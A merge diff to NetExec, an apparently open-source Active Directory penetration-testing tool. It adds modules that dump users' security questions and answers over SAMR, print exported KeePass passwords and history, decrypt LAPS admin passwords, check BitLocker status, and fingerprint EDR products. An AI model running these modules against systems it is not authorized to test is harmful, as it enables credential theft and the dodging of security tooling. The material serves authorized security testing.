Merge branch 'main' into marshall_spider_plus_timeout

Update handlekatz.py pypykatz import

nxc/connection.py

@@ -85,6 +85,8 @@ def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
 def requires_admin(func):
     def _decorator(self, *args, **kwargs):
         if self.admin_privs is False:
+            if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
+                return func(self, *args, **kwargs)
             return None
         return func(self, *args, **kwargs)
 
@@ -146,6 +148,7 @@ class connection:
         self.kdcHost = self.args.kdcHost
         self.port = self.args.port
         self.local_ip = None
+        self.dns_server = self.args.dns_server
 
         # DNS resolution
         dns_result = self.resolver(target)
@@ -412,12 +415,22 @@ class connection:
             for ntlm_hash in self.args.hash:
                 if isfile(ntlm_hash):
                     with open(ntlm_hash) as ntlm_hash_file:
-                        for line in ntlm_hash_file:
-                            secret.append(line.strip())
-                            cred_type.append("hash")
+                        for i, line in enumerate(ntlm_hash_file):
+                            line = line.strip()
+                            if len(line) != 32 and len(line) != 65:
+                                self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
+                                continue
+                            else:
+                                secret.append(line)
+                                cred_type.append("hash")
                 else:
-                    secret.append(ntlm_hash)
-                    cred_type.append("hash")
+                    if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
+                        self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
+                        exit(1)
+                    else:
+                        secret.append(ntlm_hash)
+                        cred_type.append("hash")
+            self.logger.debug(secret)
 
         # Parse AES keys
         if self.args.aesKey:
@@ -531,7 +544,7 @@ class connection:
 
         if hasattr(self.args, "laps") and self.args.laps:
             self.logger.debug("Trying to authenticate using LAPS")
-            username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
+            username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
             cred_type = ["plaintext"]
             if not (username[0] or secret[0] or domain[0]):
                 return False

nxc/modules/add-computer.py

@@ -102,8 +102,9 @@ class NXCModule:
             None
         """
         string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
+        string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
 
-        rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
+        rpc_transport = transport.DCERPCTransportFactory(string_binding)
         rpc_transport.setRemoteHost(self.__host)
 
         if hasattr(rpc_transport, "set_credentials"):

nxc/modules/bitlocker.py

@@ -0,0 +1,131 @@
+import re
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.dcomrt import DCOMConnection
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+
+class NXCModule:
+    name = "bitlocker"
+    description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
+    supported_protocols = ["smb", "wmi"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """ 
+        USAGE:
+        
+        NetExec smb <IP> -u <username> -p <password> -M bitlocker
+        NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
+        """
+
+    def on_admin_login(self, context, connection):
+        if context.protocol == "smb":
+            bitlocker_smb = BitLockerSMB(context, connection)
+            bitlocker_smb.check_bitlocker_status()
+        elif context.protocol == "wmi":
+            bitlocker_wmi = BitLockerWMI(context, connection)
+            bitlocker_wmi.check_bitlocker_status()
+
+
+class BitLockerSMB:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        # PowerShell command to check BitLocker volumes status.
+        check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
+
+        try:
+            # Executing the PowerShell command to get BitLocker volumes status.
+            check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
+            
+            if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
+                self.context.log.fail("BitLockerVolume not found on target.")
+                return
+
+            # Splitting the output into lines.
+            lines = str(check_bitlocker_command_str_output).splitlines()
+            data_lines = [line for line in lines if re.match(r"\w:", line)]
+            
+            for line in data_lines:
+                # Checking every line for starting with drive
+                if line[1] == ":": 
+                    parts = line.split()
+                    MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
+
+                    # Checking if BitLocker is enabled.
+                    if protection_status == "On":
+                        self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
+                    else:
+                        self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
+        except Exception as e:
+            self.context.log.exception(f"Exception occurred: {e}")
+
+
+class BitLockerWMI:
+    def __init__(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+    def check_bitlocker_status(self):
+        try:
+            # Create a DCOM connection
+            dcom_conn = DCOMConnection(
+                self.connection.host,
+                self.connection.username,
+                self.connection.password,
+                self.connection.domain,
+                self.connection.lmhash,
+                self.connection.nthash,
+                oxidResolver=True,
+                doKerberos=self.connection.kerberos,
+                kdcHost=self.connection.kdcHost)
+                
+            try:
+                # CoCreateInstanceEx for WMI login
+                i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+                iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
+
+                # Specify the namespace for BitLocker
+                bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
+                
+                # NTLM login for WMI
+                iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
+
+                # Set authentication level
+                iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+
+                # Query to get BitLocker status
+                classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
+                iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
+                encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
+                
+                try:
+                    while True:
+                        iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
+                        encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
+                        if iWbemClassObject[0].ProtectionStatus == 1:
+                            self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
+                        else:
+                            if encryptionMethod == 0:  # Should be 0 if disabled
+                                self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
+                except Exception:
+                    pass  # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
+
+                # Release resources
+                iWbemLevel1Login.RemRelease()
+                iWbemServices.RemRelease()
+                dcom_conn.disconnect()
+            except Exception as e:
+                if "WBEM_E_INVALID_NAMESPACE" in str(e):
+                    self.context.log.fail("BitLockerNamespace not found on target.")
+                    dcom_conn.disconnect()
+        except Exception as e:
+            self.context.log.error(f"Error occurred during BitLocker check: {e}")
+            dcom_conn.disconnect()

nxc/modules/enum_av.py

@@ -247,6 +247,14 @@ conf = {
             "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
             "pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
         },
+        {
+            "name": "Cortex",
+            "services": [
+                {"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
+                {"name": "cyserver", "description": " Cortex XDR"}
+            ],
+            "pipes": []
+        },
         {
             "name": "Cybereason",
             "services": [
@@ -350,6 +358,27 @@ conf = {
                 {"name": "sophoslivequery_*", "processes": [""]}
             ]
         },
+        {
+            "name": "Trellix Endpoint Detection and Response (EDR)",
+            "services": [
+                {"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
+                {"name": "mfemactl", "description": "Trellix Management Service"},
+                {"name": "mfemms", "description": "McAfee Management Service"},
+                {"name": "mfefire", "description": "Trellix Firewall Core Service"},
+                {"name": "masvc", "description": "Trellix Agent Service"},
+                {"name": "macmnsvc", "description": "Trellix Agent Common Service"},
+                {"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
+                {"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"}, 
+                {"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
+            ],
+            "pipes": [
+                {"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
+                {"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
+                {"name": "mfefire_*", "processes": ["mfefire.exe"]},
+                {"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
+                {"name": "mfetp_*", "processes": ["mfetp.exe"]}
+            ]
+        },
         {
             "name": "Trend Micro Endpoint Security",
             "services": [

nxc/modules/handlekatz.py

@@ -7,7 +7,7 @@ import re
 import sys
 
 from nxc.helpers.bloodhound import add_user_bh
-import pypykatz
+from pypykatz.pypykatz import pypykatz
 
 
 class NXCModule:

nxc/modules/ioxidresolver.py

@@ -1,10 +1,11 @@
 # Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
 # Airbus CERT
 # module by @mpgn_x64
+# updated by @NeffIsBack
 
 from ipaddress import ip_address
 from impacket.dcerpc.v5 import transport
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
 from impacket.dcerpc.v5.dcomrt import IObjectExporter
 
 
@@ -13,31 +14,31 @@ class NXCModule:
     description = "This module helps you to identify hosts that have additional active interfaces"
     supported_protocols = ["smb", "wmi"]
     opsec_safe = True
-    multiple_hosts = False
+    multiple_hosts = True
 
     def options(self, context, module_options):
-        """ """
+        """No module options"""
 
     def on_login(self, context, connection):
-        authLevel = RPC_C_AUTHN_LEVEL_NONE
+        try:
+            rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
+            rpctransport.setRemoteHost(connection.host)
 
-        stringBinding = r"ncacn_ip_tcp:%s" % connection.host
-        rpctransport = transport.DCERPCTransportFactory(stringBinding)
-        rpctransport.setRemoteHost(connection.host)
+            portmap = rpctransport.get_dce_rpc()
+            portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
+            portmap.connect()
 
-        portmap = rpctransport.get_dce_rpc()
-        portmap.set_auth_level(authLevel)
-        portmap.connect()
+            objExporter = IObjectExporter(portmap)
+            bindings = objExporter.ServerAlive2()
 
-        objExporter = IObjectExporter(portmap)
-        bindings = objExporter.ServerAlive2()
+            context.log.debug(f"Retrieving network interface of {connection.host}")
 
-        context.log.debug("[*] Retrieving network interface of " + connection.host)
-
-        for binding in bindings:
-            NetworkAddr = binding["aNetworkAddr"]
-            try:
-                ip_address(NetworkAddr[:-1])
-                context.log.highlight("Address: " + NetworkAddr)
-            except Exception as e:
-                context.log.debug(e)
+            for binding in bindings:
+                NetworkAddr = binding["aNetworkAddr"]
+                try:
+                    ip_address(NetworkAddr[:-1])
+                    context.log.highlight(f"Address: {NetworkAddr}")
+                except Exception as e:
+                    context.log.debug(e)
+        except DCERPCException as e:
+            context.log.error(f"DCERPCException error: {e}")

nxc/modules/keepass_trigger.py

@@ -1,7 +1,5 @@
 import os
 import sys
-import json
-from xmltodict import parse
 from time import sleep
 from csv import reader
 from base64 import b64encode
@@ -381,28 +379,30 @@ class NXCModule:
         xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
         xml_tree = ElementTree.parse(xml_doc_path)
         root = xml_tree.getroot()
-        to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
-        xml_to_dict = parse(to_string)
-        dump = json.dumps(xml_to_dict)
-        obj = json.loads(dump)
 
-        if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
-            for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
-                for password in obj2["String"]:
-                    if password["Key"] == "Password":
-                        context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
-                    else:
-                        context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
-                context.log.highlight("")
-        if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
-            for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
-                try:
-                    for obj3 in obj2["Entry"]:
-                        for password in obj3["String"]:
-                            if password["Key"] == "Password":
-                                context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
-                            else:
-                                context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
-                        context.log.highlight("")
-                except KeyError:
-                    pass
+        root_entries = root.find("./Root/Entry")
+        if root_entries is not None:
+            for entry in root_entries:
+                if entry is not None:
+                    self.print_password(context, entry)
+                else:
+                    context.log.highlight("None")
+
+        objects = root.findall("./Root/Group")
+        while objects:
+            current_object = objects.pop(0)
+            for entry in current_object.findall("./Entry"):
+                self.print_password(context, entry)
+                for history in entry.findall("./History"):
+                    for history_entry in history.findall("./Entry"):
+                        self.print_password(context, history_entry)
+            objects.extend(current_object.findall("./Group"))
+
+    def print_password(self, context, entries):
+        for entry in entries.findall("./String"):
+            key = entry.find("./Key")
+            value = entry.find("./Value")
+            key_text = key.text if key is not None else "None"
+            value_text = value.text if value is not None and value.text is not None else "None"
+            context.log.highlight(f"{key_text} : {value_text}")
+        context.log.highlight("-------------------------------------")

nxc/modules/laps.py

@@ -45,12 +45,12 @@ class NXCModule:
                 values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
                 if "mslaps-encryptedpassword" in values:
                     msMCSAdmPwd = values["mslaps-encryptedpassword"]
-                    d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
+                    d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
                     try:
                         data = d.run()
                     except Exception as e:
-                        self.logger.fail(str(e))
-                        return
+                        context.log.fail(str(e))
+                        continue
                     r = json.loads(data)
                     laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
                 elif "mslaps-password" in values:

nxc/modules/pso.py

@@ -53,7 +53,7 @@ class NXCModule:
         for attrs in resp:
             if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
                 continue
-            policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
+            policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
             for attr in attrs["attributes"]:
                 if str(attr["type"]) == "name":
                     policyName = attr["vals"][0]

nxc/modules/security-questions.py

@@ -0,0 +1,134 @@
+from impacket.dcerpc.v5 import samr, transport
+from impacket.nt_errors import STATUS_MORE_ENTRIES
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from json import loads
+from traceback import format_exc as traceback_format_exc
+
+class NXCModule:
+    """
+    Module by Adamkadaban: @Adamkadaban
+    Based on research from @0gtweet (@gtworek)
+
+    Much of this code was copied from add_computer.py
+    Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
+    """
+
+    name = "security-questions"
+    description = "Gets security questions and answers for users on computer"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def options(self, context, module):
+        pass
+
+    def on_admin_login(self, context, connection):
+        self.__domain = connection.domain
+        self.__domainNetbios = connection.domain
+        self.__kdcHost = connection.hostname + "." + connection.domain
+        self.__target = self.__kdcHost
+        self.__username = connection.username
+        self.__password = connection.password
+        self.__targetIp = connection.host
+        self.__port = context.smb_server_port
+        self.__aesKey = context.aesKey
+        self.__hashes = context.hash
+        self.__doKerberos = connection.kerberos
+        self.__nthash = ""
+        self.__lmhash = ""
+
+        if context.hash and ":" in context.hash[0]:
+            hashList = context.hash[0].split(":")
+            self.__nthash = hashList[-1]
+            self.__lmhash = hashList[0]
+        elif context.hash and ":" not in context.hash[0]:
+            self.__nthash = context.hash[0]
+            self.__lmhash = "00000000000000000000000000000000"
+
+        self.getSAMRResetInfo(context)
+
+    def getSAMRResetInfo(self, context):
+        string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
+        rpc_transport = transport.DCERPCTransportFactory(string_binding)
+        rpc_transport.set_dport(445)
+        rpc_transport.setRemoteHost(self.__targetIp)
+
+        if hasattr(rpc_transport, "set_credentials"):
+            # This method exists only for selected protocol sequences.
+            rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
+                                         self.__nthash, self.__aesKey)
+        rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
+
+        try:
+            dce = rpc_transport.get_dce_rpc()
+            dce.connect()
+            dce.bind(samr.MSRPC_UUID_SAMR)
+
+            # obtain server handle for samr connection
+            resp = samr.hSamrConnect(dce)
+            server_handle = resp["ServerHandle"]
+
+            resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
+            domains = resp["Buffer"]["Buffer"]
+
+            resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
+
+            # obtain domain handle for samr connection
+            resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
+            domain_handle = resp["DomainHandle"]
+
+            status = STATUS_MORE_ENTRIES
+            enumeration_context = 0
+
+            # try to iterate through users in domain entries for connection
+            while status == STATUS_MORE_ENTRIES:
+                try:
+                    resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
+                except DCERPCException as e:
+                    if str(e).find("STATUS_MORE_ENTRIES") < 0:
+                        raise 
+                    resp = e.get_packet()
+
+                for user in resp["Buffer"]["Buffer"]:
+                    try:
+                        context.log.info(f"Querying security questions for User: {user['Name']}")
+                        # request SAMR ID 30
+                        # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
+                        r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
+                        info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
+
+                        reset_data = info["Buffer"]["Reset"]["ResetData"]
+                        if reset_data == b"":
+                            continue
+                        reset_data = loads(reset_data)
+                        questions = reset_data["questions"]
+
+                        if len(questions) == 0:
+                            context.log.highlight(f"User {user['Name']} has no security questions")
+                        else:
+                            for qna in questions:
+                                question = qna["question"]
+                                answer = qna["answer"]
+                                context.log.highlight(f"{user['Name']} - {question}: {answer}")
+
+                        samr.hSamrCloseHandle(dce, r["UserHandle"])
+                    except samr.DCERPCException as e:
+                        if "STATUS_INVALID_INFO_CLASS" in str(e):
+                            context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
+                            continue
+                        else:
+                            context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
+                            context.log.debug(traceback_format_exc())
+                enumeration_context = resp["EnumerationContext"]
+                status = resp["ErrorCode"]
+
+        except Exception as e:
+            context.log.fail(f"Error: {e}")
+            context.log.debug(traceback_format_exc())
+
+        finally:
+            if domain_handle is not None:
+                samr.hSamrCloseHandle(dce, domain_handle)
+            if server_handle is not None:
+                samr.hSamrCloseHandle(dce, server_handle)
+            dce.disconnect()

nxc/modules/spider_plus.py

@@ -8,6 +8,7 @@ from nxc.paths import TMP_PATH
 from nxc.protocols.smb.remotefile import RemoteFile
 from impacket.smb3structs import FILE_READ_DATA
 from impacket.smbconnection import SessionError
+from impacket.nmb import NetBIOSTimeout
 
 
 CHUNK_SIZE = 4096
@@ -52,17 +53,7 @@ def get_list_from_option(opt):
 
 
 class SMBSpiderPlus:
-    def __init__(
-        self,
-        smb,
-        logger,
-        download_flag,
-        stats_flag,
-        exclude_exts,
-        exclude_filter,
-        max_file_size,
-        output_folder,
-    ):
+    def __init__(self, smb, logger, download_flag, stats_flag, exclude_exts, exclude_filter, max_file_size, output_folder):
         self.smb = smb
         self.host = self.smb.conn.getRemoteHost()
         self.max_connection_attempts = 5
@@ -84,6 +75,7 @@ class SMBSpiderPlus:
             "num_files_unmodified": 0,
             "num_files_updated": 0,
         }
+        self.connection_attempts = 1  # we connect once initially
         self.download_flag = download_flag
         self.stats_flag = stats_flag
         self.exclude_filter = exclude_filter
@@ -98,15 +90,14 @@ class SMBSpiderPlus:
         """Performs a series of reconnection attempts, up to `self.max_connection_attempts`, with a 3-second delay between each attempt.
         It renegotiates the session by creating a new connection object and logging in again.
         """
-        for i in range(1, self.max_connection_attempts + 1):
+        for i in range(self.connection_attempts, self.max_connection_attempts + 1):
             self.logger.display(f"Reconnection attempt #{i}/{self.max_connection_attempts} to server.")
-
-            # Renegotiate the session
             time.sleep(3)
+            self.logger.display("Creating new connection object and trying to login...")
             self.smb.create_conn_obj()
             self.smb.login()
+            self.connection_attempts += 1
             return True
-
         return False
 
     def list_path(self, share, subfolder):
@@ -114,21 +105,18 @@ class SMBSpiderPlus:
         filelist = []
         try:
             # Get file list for the current folder
-            filelist = self.smb.conn.listPath(share, subfolder + "*")
-
+            filelist = self.smb.conn.listPath(share, f"{subfolder}*")
         except SessionError as e:
-            self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".')
-            self.logger.debug(str(e))
-
+            self.logger.debug(f"Failed listing files on share '{share}'' in folder '{subfolder}': {e}")
             if "STATUS_ACCESS_DENIED" in str(e):
-                self.logger.debug(f'Cannot list files in folder "{subfolder}".')
-
+                self.logger.debug(f'Cannot list files in folder "{subfolder}"')
             elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
-                self.logger.debug(f"The folder {subfolder} does not exist.")
-
+                self.logger.debug(f"The folder {subfolder} does not exist")
             elif self.reconnect():
                 filelist = self.list_path(share, subfolder)
-
+        except NetBIOSTimeout:
+            self.logger.debug("Received a NetBIOSTimeout, moving on....")
+            return []
         return filelist
 
     def get_remote_file(self, share, path):
@@ -246,6 +234,7 @@ class SMBSpiderPlus:
         # - It's a file then we apply the checks
         for result in filelist:
             next_filedir = result.get_longname()
+            # "ServiceProfiles", "assembly", "Boot", "CbsTemp", "Fonts", "Installer", "Microsoft.NET"
             if next_filedir in [".", ".."]:
                 continue
             next_fullpath = folder + next_filedir

nxc/nxcdb.py

@@ -512,6 +512,11 @@ class NXCDBMenu(cmd.Cmd):
     def do_exit(line):
         sys.exit()
 
+    @staticmethod
+    def do_EOF(line):
+        sys.exit()
+
+
     @staticmethod
     def help_exit():
         help_string = """

nxc/protocols/ldap.py

@@ -172,12 +172,12 @@ class ldap(connection):
                     self.logger.debug(f"ldap_connection: {ldap_connection}")
             except SysCallError as e:
                 if proto == "ldaps":
-                    self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}")
+                    self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
                     # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
-                    self.logger.debug("Even if the port is open, LDAPS may not be configured")
+                    self.logger.fail("Even if the port is open, LDAPS may not be configured")
                 else:
-                    self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}")
-                return [None, None, None]
+                    self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
+                exit(1)
 
             resp = ldap_connection.search(
                 scope=ldapasn1_impacket.Scope("baseObject"),
@@ -752,7 +752,7 @@ class ldap(connection):
 
             users = parse_result_attributes(resp)
             # we print the total records after we parse the results since often SearchResultReferences are returned
-            self.logger.display(f"Total records returned: {len(users):d}")
+            self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
             self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
             for user in users:
                 # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
@@ -1419,6 +1419,7 @@ class ldap(connection):
             auth.get_tgt()
         if self.args.use_kcache:
             self.logger.highlight("Using kerberos auth from ccache")
+            auth.load_ccache()
 
         timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
         bloodhound = BloodHound(ad, self.hostname, self.host, self.port)

nxc/protocols/ldap/laps.py

@@ -1,5 +1,3 @@
-import binascii
-import hashlib
 from json import loads
 from pyasn1.codec.der import decoder
 from pyasn1_modules import rfc5652
@@ -37,12 +35,13 @@ class LDAPConnect:
     def proto_logger(self, host, port, hostname):
         self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
 
-    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
+    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False, dns_server=""):
         lmhash = ""
         nthash = ""
 
-        if kdcHost is None:
-            kdcHost = domain
+        if kdcHost is None or domain not in kdcHost:
+            self.logger.fail("Please provide the FQDN of the domain controller with --kdcHost")
+            exit(1)
 
         # This checks to see if we didn't provide the LM Hash
         if ntlm_hash and ntlm_hash.find(":") != -1:
@@ -54,12 +53,13 @@ class LDAPConnect:
         baseDN = ""
         domainParts = domain.split(".")
         for i in domainParts:
-            baseDN += f"dc={i},"
+            baseDN += f"DC={i},"
         # Remove last ','
         baseDN = baseDN[:-1]
 
         try:
-            ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
+            self.logger.info(f"Connecting to ldap://{kdcHost} - {baseDN} - {domain} [1]")
+            ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN, dns_server if dns_server else domain)
             ldap_connection.kerberosLogin(
                 username,
                 password,
@@ -78,7 +78,7 @@ class LDAPConnect:
             if str(e).find("strongerAuthRequired") >= 0:
                 # We need to try SSL
                 try:
-                    ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
+                    ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN, dns_server if dns_server else domain)
                     ldap_connection.login(
                         username,
                         password,
@@ -105,18 +105,14 @@ class LDAPConnect:
                     color="magenta" if error_code in ldap_error_status else "red",
                 )
             return False
-
         except OSError:
             self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
             return False
         except KerberosError as e:
-            self.logger.fail(
-                f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}",
-                color="red",
-            )
+            self.logger.fail(f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}", color="red")
             return False
 
-    def auth_login(self, domain, username, password, ntlm_hash):
+    def auth_login(self, domain, username, password, ntlm_hash, dns_server):
         lmhash = ""
         nthash = ""
 
@@ -135,7 +131,7 @@ class LDAPConnect:
         base_dn = base_dn[:-1]
 
         try:
-            ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, domain)
+            ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, dns_server if dns_server else domain)
             ldap_connection.login(username, password, domain, lmhash, nthash)
 
             # Connect to LDAP
@@ -148,7 +144,7 @@ class LDAPConnect:
             if str(e).find("strongerAuthRequired") >= 0:
                 # We need to try SSL
                 try:
-                    ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, domain)
+                    ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, dns_server if dns_server else domain)
                     ldap_connection.login(username, password, domain, lmhash, nthash)
                     self.logger.extra["protocol"] = "LDAPS"
                     self.logger.extra["port"] = "636"
@@ -173,7 +169,7 @@ class LDAPConnect:
 
 
 class LAPSv2Extract:
-    def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
+    def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
         if ntlm_hash.find(":") != -1:
             self.lmhash, self.nthash = ntlm_hash.split(":")
         else:
@@ -187,6 +183,7 @@ class LAPSv2Extract:
         self.do_kerberos = do_kerberos
         self.kdcHost = kdcHost
         self.logger = None
+        self.dns_server = dns_server
         self.proto_logger(self.domain, port, self.domain)
 
     def proto_logger(self, host, port, hostname):
@@ -218,7 +215,7 @@ class LAPSv2Extract:
             gke = kds_cache[key_id["RootKeyId"]]
         else:
             # Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
-            string_binding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
+            string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
             rpc_transport = transport.DCERPCTransportFactory(string_binding)
             if hasattr(rpc_transport, "set_credentials"):
                 rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
@@ -263,7 +260,7 @@ class LAPSv2Extract:
         return plaintext[:-18].decode("utf-16le")
 
 
-def laps_search(self, username, password, cred_type, domain):
+def laps_search(self, username, password, cred_type, domain, dns_server):
     prev_protocol = self.logger.extra["protocol"]
